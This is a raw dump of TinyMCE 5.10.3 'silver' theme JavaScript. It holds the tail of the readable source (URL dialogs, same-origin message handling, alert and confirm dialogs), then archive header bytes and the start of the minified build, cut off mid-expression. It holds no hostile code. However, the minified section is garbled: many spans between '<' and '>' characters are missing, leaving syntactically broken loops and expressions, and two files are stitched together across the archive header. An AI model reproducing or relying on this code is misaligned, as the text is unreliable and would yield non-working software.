!isSupportedMessage(data) && isObject(data) && has$2(data, 'mceAction'); }; var handleMessage = function (editor, api, data) { switch (data.mceAction) { case 'insertContent': editor.insertContent(data.content); break; case 'setContent': editor.setContent(data.content); break; case 'execCommand': var ui = isBoolean(data.ui) ? data.ui : false; editor.execCommand(data.cmd, ui, data.value); break; case 'close': api.close(); break; case 'block': api.block(data.message); break; case 'unblock': api.unblock(); break; } }; var renderUrlDialog = function (internalDialog, extra, editor, backstage) { var _a; var header = getHeader(internalDialog.title, backstage); var body = renderIframeBody(internalDialog); var footer = internalDialog.buttons.bind(function (buttons) { if (buttons.length === 0) { return Optional.none(); } else { return Optional.some(renderModalFooter({ buttons: buttons }, backstage)); } }); var dialogEvents = SilverDialogEvents.initUrlDialog(function () { return instanceApi; }, getEventExtras(function () { return dialog; }, backstage.shared.providers, extra)); var styles = __assign(__assign({}, internalDialog.height.fold(function () { return {}; }, function (height) { return { 'height': height + 'px', 'max-height': height + 'px' }; })), internalDialog.width.fold(function () { return {}; }, function (width) { return { 'width': width + 'px', 'max-width': width + 'px' }; })); var classes = internalDialog.width.isNone() && internalDialog.height.isNone() ? ['tox-dialog--width-lg'] : []; var iframeUri = new global$1(internalDialog.url, { base_uri: new global$1(window.location.href) }); var iframeDomain = iframeUri.protocol + '://' + iframeUri.host + (iframeUri.port ? ':' + iframeUri.port : ''); var messageHandlerUnbinder = unbindable(); var extraBehaviours = [ config('messages', [ runOnAttached(function () { var unbind = bind(SugarElement.fromDom(window), 'message', function (e) { if (iframeUri.isSameOrigin(new global$1(e.raw.origin))) { var data = e.raw.data; if (isSupportedMessage(data)) { handleMessage(editor, instanceApi, data); } else if (isCustomMessage(data)) { internalDialog.onMessage(instanceApi, data); } } }); messageHandlerUnbinder.set(unbind); }), runOnDetached(messageHandlerUnbinder.clear) ]), Receiving.config({ channels: (_a = {}, _a[bodySendMessageChannel] = { onReceive: function (comp, data) { descendant(comp.element, 'iframe').each(function (iframeEle) { var iframeWin = iframeEle.dom.contentWindow; iframeWin.postMessage(data, iframeDomain); }); } }, _a) }) ]; var spec = { header: header, body: body, footer: footer, extraClasses: classes, extraBehaviours: extraBehaviours, extraStyles: styles }; var dialog = renderModalDialog(spec, internalDialog, dialogEvents, backstage); var instanceApi = getUrlDialogApi(dialog); return { dialog: dialog, instanceApi: instanceApi }; }; var setup$2 = function (extras) { var sharedBackstage = extras.backstage.shared; var open = function (message, callback) { var closeDialog = function () { ModalDialog.hide(alertDialog); callback(); }; var memFooterClose = record(renderFooterButton({ name: 'close-alert', text: 'OK', primary: true, align: 'end', disabled: false, icon: Optional.none() }, 'cancel', extras.backstage)); var titleSpec = pUntitled(); var closeSpec = pClose(closeDialog, sharedBackstage.providers); var alertDialog = build$1(renderDialog$1({ lazySink: function () { return sharedBackstage.getSink(); }, header: hiddenHeader(titleSpec, closeSpec), body: pBodyMessage(message, sharedBackstage.providers), footer: Optional.some(pFooter(pFooterGroup([], [memFooterClose.asSpec()]))), onEscape: closeDialog, extraClasses: ['tox-alert-dialog'], extraBehaviours: [], extraStyles: {}, dialogEvents: [run$1(formCancelEvent, closeDialog)], eventOrder: {} })); ModalDialog.show(alertDialog); var footerCloseButton = memFooterClose.get(alertDialog); Focusing.focus(footerCloseButton); }; return { open: open }; }; var setup$1 = function (extras) { var sharedBackstage = extras.backstage.shared; var open = function (message, callback) { var closeDialog = function (state) { ModalDialog.hide(confirmDialog); callback(state); }; var memFooterYes = record(renderFooterButton({ name: 'yes', text: 'Yes', primary: true, align: 'end', disabled: false, icon: Optional.none() }, 'submit', extras.backstage)); var footerNo = renderFooterButton({ name: 'no', text: 'No', primary: false, align: 'end', disabled: false, icon: Optional.none() }, 'cancel', extras.backstage); var titleSpec = pUntitled(); var closeSpec = pClose(function () { return closeDialog(false); }, sharedBackstage.providers); var confirmDialog = build$1(renderDialog$1({ lazySink: function () { return sharedBackstage.getSink(); }, header: hiddenHeader(titleSpec, closeSpec), body: pBodyMessage(message, sharedBackstage.providers), footer: Optional.some(pFooter(pFooterGroup([], [ footerNo, memFooterYes.asSpec() ]))), onEscape: function () { return closeDialog(false); }, extraClasses: ['tox-confirm-dialog'], extraBehaviours: [], extraStyles: {}, dialogEvents: [ run$1(formCancelEvent, function () { return closeDialog(false); }), run$1(formSubmitEvent, function () { return closeDialog(true); }) ], eventOrder: {} })); ModalDialog.show(confirmDialog); var footerYesButton = memFooterYes.get(confirmDialog); Focusing.focus(footerYesButton); }; return { open: open }; }; var validateData = function (data, validator) { return getOrDie(asRaw('data', validator, data)); }; var isAlertOrConfirmDialog = function (target) { return closest(target, '.tox-alert-dialog') || closest(target, '.tox-confirm-dialog'); }; var inlineAdditionalBehaviours = function (editor, isStickyToolbar, isToolbarLocationTop) { if (isStickyToolbar && isToolbarLocationTop) { return []; } else { return [Docking.config({ contextual: { lazyContext: function () { return Optional.some(box$1(SugarElement.fromDom(editor.getContentAreaContainer()))); }, fadeInClass: 'tox-dialog-dock-fadein', fadeOutClass: 'tox-dialog-dock-fadeout', transitionClass: 'tox-dialog-dock-transition' }, modes: ['top'] })]; } }; var setup = function (extras) { var backstage = extras.backstage; var editor = extras.editor; var isStickyToolbar$1 = isStickyToolbar(editor); var alertDialog = setup$2(extras); var confirmDialog = setup$1(extras); var open = function (config, params, closeWindow) { if (params !== undefined && params.inline === 'toolbar') { return openInlineDialog(config, backstage.shared.anchors.inlineDialog(), closeWindow, params.ariaAttrs); } else if (params !== undefined && params.inline === 'cursor') { return openInlineDialog(config, backstage.shared.anchors.cursor(), closeWindow, params.ariaAttrs); } else { return openModalDialog(config, closeWindow); } }; var openUrl = function (config, closeWindow) { return openModalUrlDialog(config, closeWindow); }; var openModalUrlDialog = function (config, closeWindow) { var factory = function (contents) { var dialog = renderUrlDialog(contents, { closeWindow: function () { ModalDialog.hide(dialog.dialog); closeWindow(dialog.instanceApi); } }, editor, backstage); ModalDialog.show(dialog.dialog); return dialog.instanceApi; }; return DialogManager.openUrl(factory, config); }; var openModalDialog = function (config, closeWindow) { var factory = function (contents, internalInitialData, dataValidator) { var initialData = internalInitialData; var dialogInit = { dataValidator: dataValidator, initialData: initialData, internalDialog: contents }; var dialog = renderDialog(dialogInit, { redial: DialogManager.redial, closeWindow: function () { ModalDialog.hide(dialog.dialog); closeWindow(dialog.instanceApi); } }, backstage); ModalDialog.show(dialog.dialog); dialog.instanceApi.setData(initialData); return dialog.instanceApi; }; return DialogManager.open(factory, config); }; var openInlineDialog = function (config$1, anchor, closeWindow, ariaAttrs) { var factory = function (contents, internalInitialData, dataValidator) { var initialData = validateData(internalInitialData, dataValidator); var inlineDialog = value$1(); var isToolbarLocationTop = backstage.shared.header.isPositionedAtTop(); var dialogInit = { dataValidator: dataValidator, initialData: initialData, internalDialog: contents }; var refreshDocking = function () { return inlineDialog.on(function (dialog) { InlineView.reposition(dialog); Docking.refresh(dialog); }); }; var dialogUi = renderInlineDialog(dialogInit, { redial: DialogManager.redial, closeWindow: function () { inlineDialog.on(InlineView.hide); editor.off('ResizeEditor', refreshDocking); inlineDialog.clear(); closeWindow(dialogUi.instanceApi); } }, backstage, ariaAttrs); var inlineDialogComp = build$1(InlineView.sketch(__assign(__assign({ lazySink: backstage.shared.getSink, dom: { tag: 'div', classes: [] }, fireDismissalEventInstead: {} }, isToolbarLocationTop ? {} : { fireRepositionEventInstead: {} }), { inlineBehaviours: derive$1(__spreadArray([config('window-manager-inline-events', [run$1(dismissRequested(), function (_comp, _se) { emit(dialogUi.dialog, formCancelEvent); })])], inlineAdditionalBehaviours(editor, isStickyToolbar$1, isToolbarLocationTop), true)), isExtraPart: function (_comp, target) { return isAlertOrConfirmDialog(target); } }))); inlineDialog.set(inlineDialogComp); InlineView.showWithin(inlineDialogComp, premade(dialogUi.dialog), { anchor: anchor }, Optional.some(body())); if (!isStickyToolbar$1 || !isToolbarLocationTop) { Docking.refresh(inlineDialogComp); editor.on('ResizeEditor', refreshDocking); } dialogUi.instanceApi.setData(initialData); Keying.focusIn(dialogUi.dialog); return dialogUi.instanceApi; }; return DialogManager.open(factory, config$1); }; var confirm = function (message, callback) { confirmDialog.open(message, function (state) { callback(state); }); }; var alert = function (message, callback) { alertDialog.open(message, function () { callback(); }); }; var close = function (instanceApi) { instanceApi.close(); }; return { open: open, openUrl: openUrl, alert: alert, close: close, confirm: confirm }; }; function Theme () { global$g.add('silver', function (editor) { var _a = setup$3(editor), uiMothership = _a.uiMothership, backstage = _a.backstage, renderUI = _a.renderUI, getUi = _a.getUi; Autocompleter.register(editor, backstage.shared); var windowMgr = setup({ editor: editor, backstage: backstage }); return { renderUI: renderUI, getWindowManagerImpl: constant$1(windowMgr), getNotificationManagerImpl: function () { return NotificationManagerImpl(editor, { backstage: backstage }, uiMothership); }, ui: getUi() }; }); } Theme(); }()); PKZKe&&-js/plugins/tinymce/themes/silver/theme.min.jsnu[/** * Copyright (c) Tiny Technologies, Inc. All rights reserved. * Licensed under the LGPL or a commercial license. * For LGPL see License.txt in the project root for license information. * For commercial licenses see https://www.tiny.cloud/ * * Version: 5.10.3 (2022-02-09) */ !function(){"use strict";function t(o){return function(t){return e=typeof(n=t),(null===n?"null":"object"==e&&(Array.prototype.isPrototypeOf(n)||n.constructor&&"Array"===n.constructor.name)?"array":"object"==e&&(String.prototype.isPrototypeOf(n)||n.constructor&&"String"===n.constructor.name)?"string":e)===o;var n,e}}function n(n){return function(t){return typeof t===n}}function e(n){return function(t){return n===t}}function g(t){return null==t}function f(t,n){if(c(t)){for(var e=0,o=t.length;e=n.length&&t.substr(e,e+n.length)===n}function ut(t,n){return-1!==t.indexOf(n)}function at(t){return 0 "+o.toString()},function(t,n){return"state("+t+")"})}).join("\n")+"}"}}},Qo=r(no,$o),Zo=rt(Jo),tr=oo(u,"number"),nr=oo(y,"string"),er=oo(w,"boolean"),or=oo(S,"function"),rr=function(n){if(Object(n)!==n)return!0;switch({}.toString.call(n).slice(8,-1)){case"Boolean":case"Number":case"String":case"Date":case"RegExp":case"Blob":case"FileList":case"ImageData":case"ImageBitmap":case"ArrayBuffer":return!0;case"Array":case"Object":return Object.keys(n).every(function(t){return rr(n[t])});default:return!1}},ir=Je(function(t){return rr(t)?No(t):Lo("Expected value to be acceptable for sending via postMessage")}),ur=function(t){return"Errors: \n"+M(10<(n=t.errors).length?n.slice(0,10).concat([{path:[],getErrorInfo:rt("... (only showing first ten failures)")}]):n,function(t){return"Failed path: ("+t.path.join(" > ")+")\n"+t.getErrorInfo()}).join("\n")+"\n\nInput object: "+qe(t.input);var n},ar=Ne,cr=function(t,n){return{tag:"custom",newKey:t,instantiator:n}};function sr(t,n){return(e={})[t]=n,e;var e}function lr(t){return n={},St(t,function(t){n[t.key]=t.value}),n;var n}function fr(t){return S(t)?t:T}function dr(t,n,e){for(var o=t.dom,r=fr(e);o.parentNode;){var o=o.parentNode,i=At.fromDom(o),u=n(i);if(u.isSome())return u;if(r(i))break}return vt.none()}function mr(t,n,e){var o=n(t),r=fr(e);return o.orThunk(function(){return r(t)?vt.none():dr(t,n,r)})}function gr(t,n){return Lt(t.element,n.event.target)}function pr(t){if(!nt(t,"can")&&!nt(t,"abort")&&!nt(t,"run"))throw new Error("EventHandler defined by: "+JSON.stringify(t,null,2)+" does not have can, abort, or run!");return lt(lt({},ai),t)}function hr(t){return rt("alloy."+t)}function vr(t,n){nu(t,t.element,n,{})}function br(t,n,e){nu(t,t.element,n,e)}function yr(t){vr(t,Ii())}function xr(t,n,e){nu(t,n,e,{})}function wr(t,n,e,o){t.getSystem().triggerEvent(e,n,o.event)}function Sr(t,n){return{key:t,value:pr({abort:n})}}function kr(t){return{key:t,value:pr({run:function(t,n){n.event.prevent()}})}}function Cr(t,n){return{key:t,value:pr({run:n})}}function Or(t,e,o){return{key:t,value:pr({run:function(t,n){e.apply(void 0,[t,n].concat(o))}})}}function _r(t){return function(e){return{key:t,value:pr({run:function(t,n){gr(t,n)&&e(t,n)}})}}}function Tr(t,n,e){var o,r=n.partUids[e];return Cr(o=t,function(t,n){t.getSystem().getByUid(r).each(function(t){wr(t,t.element,o,n)})})}function Er(t,r){return Cr(t,function(n,t){var e=t.event,o=n.getSystem().getByDom(e.target).getOrThunk(function(){return mr(e.target,function(t){return n.getSystem().getByDom(t).toOptional()},T).getOr(n)});r(n,o,t)})}function Dr(t){return Cr(t,function(t,n){n.cut()})}function Br(t,n){return _r(t)(n)}function Mr(t){return t.dom.innerHTML}function Ar(t,n){var e,o,r=Ut(t).dom,i=At.fromDom(r.createDocumentFragment());An(i,(e=n,(o=(r||document).createElement("div")).innerHTML=e,Kt(At.fromDom(o)))),Fn(t),Te(t,i)}function Fr(t){if(Zt(t))return"#shadow-root";var n=At.fromDom(t.dom.cloneNode(!1)),e=At.fromTag("div"),o=At.fromDom(n.dom.cloneNode(!0));return Te(e,o),Mr(e)}function Ir(t){var n=(new Date).getTime();return t+"_"+Math.floor(1e9*Math.random())+ ++su+String(n)}function Rr(t){var n=Xn(t)?t.dom[mu]:null;return vt.from(n)}function Vr(n){function e(t){return"The component must be in a context to execute: "+t+(n?"\n"+Fr(n().element)+" is not in context.":"")}function t(t){return function(){throw new Error(e(t))}}function o(t){return function(){console.warn(e(t))}}return{debugInfo:rt("fake"),triggerEvent:o("triggerEvent"),triggerFocus:o("triggerFocus"),triggerEscape:o("triggerEscape"),broadcast:o("broadcast"),broadcastOn:o("broadcastOn"),broadcastEvent:o("broadcastEvent"),build:t("build"),addToWorld:t("addToWorld"),removeFromWorld:t("removeFromWorld"),addToGui:t("addToGui"),removeFromGui:t("removeFromGui"),getByUid:t("getByUid"),getByDom:t("getByDom"),isConnected:T}}function Pr(t,n){var e=t.toString(),o=e.indexOf(")")+1,r=e.indexOf("("),i=e.substring(r+1,o-1).split(/,\s*/);return t.toFunctionAnnotation=function(){return{name:n,parameters:bu(i)}},t}function Hr(t){return sr(yu,t)}function zr(o){return t=function(t){for(var n=[],e=1;e "):r[0].name;return sr(u,{handler:e,purpose:o})})});return n={},e=[],o=[],St(c,function(t){t.fold(function(t){e.push(t)},function(t){o.push(t)})}),0<(u={errors:e,values:o}).errors.length?Ve.error(ft(u.errors)):(i=n,0===(r=u.values).length?Ve.value(i):Ve.value(Yo(i,qo.apply(void 0,r))))},ku="alloy.base.behaviour",Cu=$o([ar("dom","dom",Ue(),$o([mo("tag"),Eo("styles",{}),Eo("classes",[]),Eo("attributes",{}),wo("value"),wo("innerHtml")])),mo("components"),mo("uid"),Eo("events",{}),Eo("apis",{}),ar("eventOrder","eventOrder",((ui={})[Ii()]=["disabling",ku,"toggling","typeaheadevents"],ui[Bi()]=[ku,"focusing","keying"],ui[Ni()]=[ku,"disabling","toggling","representing"],ui[Si()]=[ku,"representing","streaming","invalidating"],ui[Xi()]=[ku,"representing","item-events","tooltipping"],ui[mi()]=["focusing",ku,"item-type-events"],ui[si()]=["focusing",ku,"item-type-events"],ui[vi()]=["item-type-events","tooltipping"],ui[Fi()]=["receiving","reflecting","tooltipping"],Ye(rt(ui))),Zo()),wo("domModification")]),Ou=function(t){var n=so("external.component",to([mo("element"),wo("uid")]),t),e=Po(Vr()),o=n.uid.getOrThunk(function(){return pu("external")});gu(n.element,o);var r={uid:o,getSystem:e.get,config:vt.none,hasConfigured:T,connect:function(t){e.set(t)},disconnect:function(){e.set(Vr(function(){return r}))},getApis:function(){return{}},element:n.element,spec:t,readState:rt("No state"),syncComponents:st,components:rt([]),events:{}};return Hr(r)},_u=pu,Tu=function(t){return tt(t,yu).getOrThunk(function(){return oi(Tt(t,"uid")?t:lt({uid:_u("")},t)).getOrDie()})},Eu=Hr;function Du(t,n,e,o,r){return t(e,o)?vt.some(e):S(r)&&r(e)?vt.none():n(e,o,r)}function Bu(t,n,e){for(var o=t.dom,r=S(e)?e:T;o.parentNode;){var o=o.parentNode,i=At.fromDom(o);if(n(i))return vt.some(i);if(r(i))break}return vt.none()}function Mu(t,n,e){return Du(function(t,n){return n(t)},Bu,t,n,e)}function Au(t,n,e){return Mu(t,n,e).isSome()}function Fu(t,n,e){return Bu(t,function(t){return zt(t,n)},e)}function Iu(t,n){return e=n,Nt(o=void 0===t?document:t.dom)?vt.none():vt.from(o.querySelector(e)).map(At.fromDom);var e,o}function Ru(t,n,e){return Du(zt,Fu,t,n,e)}function Vu(){var n=Ir("aria-owns");return{id:n,link:function(t){on(t,"aria-owns",n)},unlink:function(t){sn(t,"aria-owns")}}}var Pu,Hu,zu=function(n,t){return Au(t,function(t){return Lt(t,n.element)},T)||(e=n,Mu(t,function(t){if(!Xn(t))return!1;var n=un(t,"id");return void 0!==n&&-1"}),Zo()),Uf=cr("schema",function(){return[wo("preprocess")]}),jf=Eo("defaults",rt({})),Gf=Eo("overrides",rt({})),Xf=$o([zf,Nf,Lf,Wf,jf,Gf]),Yf=$o([zf,Nf,Lf,jf,Gf]),qf=$o([zf,Nf,Lf,Wf,jf,Gf]),Kf=$o([zf,Uf,Lf,mo("unit"),Wf,jf,Gf]),Jf=il(Hf.required,Xf),$f=il(Hf.external,Yf),Qf=il(Hf.optional,qf),Zf=il(Hf.group,Kf),td=rt("entirety"),nd=Object.freeze({__proto__:null,required:Jf,external:$f,optional:Qf,group:Zf,asNamedPart:ol,name:rl,asCommon:function(t){return t.fold(h,h,h,h)},original:td}),ed=function(t,n){return{uiType:Pf(),owner:t,name:n}},od=Object.freeze({__proto__:null,generate:al,generateOne:cl,schemas:sl,names:ll,substitutes:fl,components:dl,defaultUids:yl,defaultUidsSchema:xl,getAllParts:hl,getAllPartNames:vl,getPart:ml,getPartOrDie:gl,getParts:pl,getPartsOrDie:bl}),rd=function(t){return Tt(t,"uid")?t:lt(lt({},t),{uid:pu("uid")})},id=to([mo("name"),mo("factory"),mo("configFields"),Eo("apis",{}),Eo("extraApis",{})]),ud=to([mo("name"),mo("factory"),mo("configFields"),mo("partFields"),Eo("apis",{}),Eo("extraApis",{})]),ad=Object.freeze({__proto__:null,getCurrent:function(t,n,e){return n.find(t)}}),cd=xa({fields:[mo("find")],name:"composing",apis:ad}),sd=["input","button","textarea","select"],ld=function(n,t,e){t.disableClass.each(function(t){Yr(n.element,t)}),(Tl(n,t)?function(t){on(t.element,"disabled","disabled")}:function(t){on(t.element,"aria-disabled","true")})(n),t.onDisabled(n)},fd=function(n,t,e){t.disableClass.each(function(t){qr(n.element,t)}),(Tl(n,t)?function(t){sn(t.element,"disabled")}:function(t){on(t.element,"aria-disabled","false")})(n),t.onEnabled(n)},dd=Object.freeze({__proto__:null,enable:fd,disable:ld,isDisabled:El,onLoad:_l,set:function(t,n,e,o){(o?ld:fd)(t,n)}}),md=Object.freeze({__proto__:null,exhibit:function(t,n){return Lr({classes:n.disabled()?n.disableClass.toArray():[]})},events:function(e,t){return eu([Sr(Ii(),function(t,n){return El(t,e)}),ba(e,t,_l)])}}),gd=xa({fields:[Io("disabled",T),Eo("useNative",!0),wo("disableClass"),Ju("onDisabled"),Ju("onEnabled")],name:"disabling",active:md,apis:dd}),pd=Object.freeze({__proto__:null,dehighlightAll:function(t,n,e){return Dl(t,n,0,[])},dehighlight:function(t,n,e,o){Yl(0,n,0,o)&&(qr(o.element,n.highlightClass),n.onDehighlight(t,o),vr(o,tu()))},highlight:Bl,highlightFirst:function(n,e,t){ql(n,e).each(function(t){Bl(n,e,0,t)})},highlightLast:function(n,e,t){Kl(n,e).each(function(t){Bl(n,e,0,t)})},highlightAt:function(n,e,t,o){var r,i,u;i=o,u=vs((r=n).element,"."+e.itemClass),vt.from(u[i]).fold(function(){return Ve.error(new Error("No element found with index "+i))},r.getSystem().getByDom).fold(function(t){throw t},function(t){Bl(n,e,0,t)})},highlightBy:function(n,e,t,o){V(Jl(n,e),o).each(function(t){Bl(n,e,0,t)})},isHighlighted:Yl,getHighlighted:function(n,t,e){return Iu(n.element,"."+t.highlightClass).bind(function(t){return n.getSystem().getByDom(t).toOptional()})},getFirst:ql,getLast:Kl,getPrevious:function(t,n,e){return Ml(t,n,0,-1)},getNext:function(t,n,e){return Ml(t,n,0,1)},getCandidates:Jl}),hd=xa({fields:[mo("highlightClass"),mo("itemClass"),Ju("onHighlight"),Ju("onDehighlight")],name:"highlighting",apis:pd}),vd=[8],bd=[9],yd=[13],xd=[27],wd=[32],Sd=[37],kd=[38],Cd=[39],Od=[40],_d=O(Hl);function Td(t,n,e,o,a){function c(n,e,t,o,r){var i=t(n,e,o,r),u=e.event;return V(i,function(t){return t.matches(u)}).map(function(t){return t.classification}).bind(function(t){return t(n,e,o,r)})}var r={schema:function(){return t.concat([Eo("focusManager",Wl()),Do("focusInside","onFocus",io(function(t){return wt(["onFocus","onEnterOrSpace","onApi"],t)?Ve.value(t):Ve.error("Invalid value for focusInside")})),ta("handler",r),ta("state",n),ta("sendFocusIn",a)])},processKey:c,toEvents:function(i,u){var t=i.focusInside!==Zl.OnFocusMode?vt.none():a(i).map(function(e){return Cr(Bi(),function(t,n){e(t,i,u),n.stop()})}),n=[Cr(xi(),function(o,r){c(o,r,e,i,u).fold(function(){var n=o,e=r,t=Vl(wd.concat(yd))(e.event);i.focusInside===Zl.OnEnterOrSpaceMode&&t&&gr(n,e)&&a(i).each(function(t){t(n,i,u),e.stop()})},function(t){r.stop()})}),Cr(wi(),function(t,n){c(t,n,o,i,u).each(function(t){n.stop()})})];return eu(t.toArray().concat(n))}};return r}function Ed(t){function a(t,n){return 0',e.getDoc());return Te(t,At.fromDom(n.extractContents())),n.insertNode(t.dom),Yt(t).each(function(t){return t.dom.normalize()}),i=hs,(u=function(t){for(var n=Kt(t),e=n.length-1;0<=e;e--){var o=n[e];if(i(o))return vt.some(o);var r=u(o);if(r.isSome())return r}return vt.none()})(t).map(function(t){var n;e.selection.setCursorLocation(t.dom,"img"===Ft(n=t)?1:ps(n).fold(function(){return Kt(n).length},function(t){return t.length}))}),t})}function xp(t){return t.toString().replace(/\u00A0/g," ").replace(/\uFEFF/g,"")}function wp(t){return""!==t&&-1!==" \xa0\f\n\r\t\v".indexOf(t)}function Sp(t,n){return t.substring(n.length)}function kp(o,t,r,n){return void 0===n&&(n=0),Mp(At.fromDom(t.startContainer)).fold(function(){return function(t,o,i,r){if(void 0===r&&(r=0),!o.collapsed||3!==o.startContainer.nodeType)return vt.none();var n=t.getParent(o.startContainer,t.isBlock)||t.getRoot();return bp(t,o.startContainer,o.startOffset,function(t,r,n){return function(t,n){for(var e=r-1;0<=e;e--){var o=t.charAt(e);if(wp(o))return vt.none();if(o===n)break}return vt.some(e)}(n,i).getOr(r)},n).bind(function(t){var n=o.cloneRange();if(n.setStart(t.container,t.offset),n.setEnd(o.endContainer,o.endOffset),n.collapsed)return vt.none();var e=xp(n);return 0!==e.lastIndexOf(i)||Sp(e,i).length=t.minChars&&t.matches.getOrThunk(function(){return e=n.dom,function(t){var n=Ip(t.startContainer,t.startOffset);return!bp(e,n.container,n.offset,function(t,n){return 0===n?-1:n},e.getRoot()).filter(function(t){return!wp(t.container.data.charAt(t.offset-1))}).isSome()};var e})(e.range,i,e.text)});if(0===u.length)return vt.none();var a=Ap.all(M(u,function(n){return n.fetch(e.text,n.maxResults,o).then(function(t){return{matchText:e.text,items:t,columns:n.columns,onAction:n.onAction,highlightOn:n.highlightOn}})}));return vt.some({lookupData:a,context:e})}var Ep,Dp,Bp=tinymce.util.Tools.resolve("tinymce.dom.TextSeeker"),Mp=function(t){return Ru(t,"[data-mce-autocompleter]")},Ap=tinymce.util.Tools.resolve("tinymce.util.Promise"),Fp=function(t){if(3===t.nodeType)return Cp(t,t.data.length);var n=t.childNodes;return 0o}).getOr(r.length);return vt.some({numColumns:e,numRows:Math.ceil(r.length/e)})}return vt.none()}function ch(t,n,e){t.getSystem().broadcastOn([Jh],{})}function sh(t){return t.getParam("height",Math.max(t.getElement().offsetHeight,200))}function lh(t){return t.getParam("width",ev.DOM.getStyle(t.getElement(),"width"))}function fh(t){return vt.from(t.getParam("min_width")).filter(u)}function dh(t){return vt.from(t.getParam("min_height")).filter(u)}function mh(t){return vt.from(t.getParam("max_width")).filter(u)}function gh(t){return vt.from(t.getParam("max_height")).filter(u)}function ph(t){return!1!==t.getParam("menubar",!0,"boolean")}function hh(t){var n=t.getParam("toolbar",!0),e=!0===n,o=y(n),r=c(n)&&0'+t+""})}return o}function Mv(t){return{value:t}}function Av(t){return rb.test(t)||ib.test(t)}function Fv(t){var n=t.toString(16);return(1===n.length?"0"+n:n).toUpperCase()}function Iv(t){return Mv(Fv(t.red)+Fv(t.green)+Fv(t.blue))}function Rv(t,n,e,o){return{red:t,green:n,blue:e,alpha:o}}function Vv(t){var n=parseInt(t,10);return n.toString()===t&&0<=n&&n<=255}function Pv(t){var n,e,o,r=(t.hue||0)%360,i=t.saturation/100,u=t.value/100,i=ab(0,ub(i,1)),u=ab(0,ub(u,1));if(0===i)return Rv(n=e=o=cb(255*u),e,o,1);var a=r/60,c=u*i,s=c*(1-Math.abs(a%2-1)),l=u-c;switch(Math.floor(a)){case 0:n=c,e=s,o=0;break;case 1:n=s,e=c,o=0;break;case 2:n=0,e=c,o=s;break;case 3:n=0,e=s,o=c;break;case 4:n=s,e=0,o=c;break;case 5:n=c,e=0,o=s;break;default:n=e=o=0}return Rv(n=cb(255*(n+l)),e=cb(255*(e+l)),o=cb(255*(o+l)),1)}function Hv(t){var n,e,o=(n={value:t.value.replace(rb,function(t,n,e,o){return n+n+e+e+o+o})},null===(e=ib.exec(n.value))?["FFFFFF","FF","FF","FF"]:e);return Rv(parseInt(o[1],16),parseInt(o[2],16),parseInt(o[3],16),1)}function zv(t,n,e,o){return Rv(parseInt(t,10),parseInt(n,10),parseInt(e,10),parseFloat(o))}function Nv(t){if("transparent"===t)return vt.some(Rv(0,0,0,0));var n=sb.exec(t);if(null!==n)return vt.some(zv(n[1],n[2],n[3],"1"));var e=lb.exec(t);return null!==e?vt.some(zv(e[1],e[2],e[3],e[4])):vt.none()}function Lv(t){return"rgba("+t.red+","+t.green+","+t.blue+","+t.alpha+")"}function Wv(t,n){return t.fire("ResizeContent",n)}function Uv(t,n,e){return{hue:t,saturation:n,value:e}}function jv(t){var n,e,o=0,r=t.red/255,i=t.green/255,u=t.blue/255,a=Math.min(r,Math.min(i,u)),c=Math.max(r,Math.max(i,u));return a===c?Uv(0,0,100*(o=a)):(e=60*((r===a?3:u===a?1:5)-(r===a?i-u:u===a?r-i:u-r)/(c-a)),n=(c-a)/c,o=c,Uv(Math.round(e),Math.round(100*n),Math.round(100*o)))}function Gv(t){return Iv(Pv(t))}function Xv(o){return(Av(n=o)?vt.some({value:(Dt(t=n,"#")?t.substring("#".length):t).toUpperCase()}):vt.none()).orThunk(function(){return Nv(o).map(Iv)}).getOrThunk(function(){var t=document.createElement("canvas");t.height=1,t.width=1;var n=t.getContext("2d");n.clearRect(0,0,t.width,t.height),n.fillStyle="#FFFFFF",n.fillStyle=o,n.fillRect(0,0,1,1);var e=n.getImageData(0,0,1,1).data;return Iv(Rv(e[0],e[1],e[2],e[3]))});var t,n}(yh=bh=bh||{}).default="wrap",yh.floating="floating",yh.sliding="sliding",yh.scrolling="scrolling",(wh=xh=xh||{}).auto="auto",wh.top="top",wh.bottom="bottom";function Yv(t){return gd.config({disabled:t,disableClass:"tox-tbtn--disabled"})}var qv,Kv="silver.readonly",Jv=$o([go("readonly",er)]),$v=function(t){return gd.config({disabled:t})},Qv=function(t){return gd.config({disabled:t,disableClass:"tox-tbtn--disabled",useNative:!1})},Zv=((qv={})[Ii()]=["disabling","alloy.base.behaviour","toggling","item-events"],qv),tb=et,nb=tinymce.util.Tools.resolve("tinymce.Env"),eb=function(t,a){return M(t,function(t){switch(t.type){case"cardcontainer":return r=eb((o=t).items,a),i="vertical"===o.direction?"tox-collection__item-container--column":Fh,u="left"===o.align?"tox-collection__item-container--align-left":"tox-collection__item-container--align-right",{dom:{tag:"div",classes:[Ah,i,u,function(){switch(o.valign){case"top":return"tox-collection__item-container--valign-top";case"middle":return"tox-collection__item-container--valign-middle";case"bottom":return"tox-collection__item-container--valign-bottom"}}()]},components:r};case"cardimage":return e=t.src,{dom:{tag:"img",classes:t.classes,attributes:{src:e,alt:t.alt.getOr("")}}};case"cardtext":var n=t.name.exists(function(t){return wt(a.cardText.highlightOn,t)})?vt.from(a.cardText.matchText).getOr(""):"";return kv(Bv(t.text,n),t.classes)}var e,o,r,i,u})},ob=al(qg(),Kg()),rb=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,ib=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,ub=Math.min,ab=Math.max,cb=Math.round,sb=/^rgb\((\d+),\s*(\d+),\s*(\d+)\)/,lb=/^rgba\((\d+),\s*(\d+),\s*(\d+),\s*(\d?(?:\.\d+)?)\)/,fb=Rv(255,0,0,1),db=tinymce.util.Tools.resolve("tinymce.util.LocalStorage"),mb="tinymce-custom-colors";function gb(t){return!1!==t.getParam("custom_colors")}function pb(t){var n=t.getParam("color_map");return void 0!==n?function(t){for(var n=[],e=0;ee&&i.pop(),db.setItem(mb,JSON.stringify(i))},state:function(){return i.slice(0)}}}(10),Fb="#000000",Ib=function(r){return function(e,t){var o=!1;r.windowManager.open({title:"Color Picker",size:"normal",body:{type:"panel",items:[{type:"colorpicker",name:"colorpicker",label:"Color"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:{colorpicker:t},onAction:function(t,n){"hex-valid"===n.name&&(o=n.value)},onSubmit:function(t){var n=t.getData().colorpicker;o?(e(vt.from(n)),t.close()):r.windowManager.alert(r.translate(["Invalid hex color code: {0}",n]))},onClose:st,onCancel:function(){e(vt.none())}})}},Rb=function(e,o,r,i,u,a,c){return 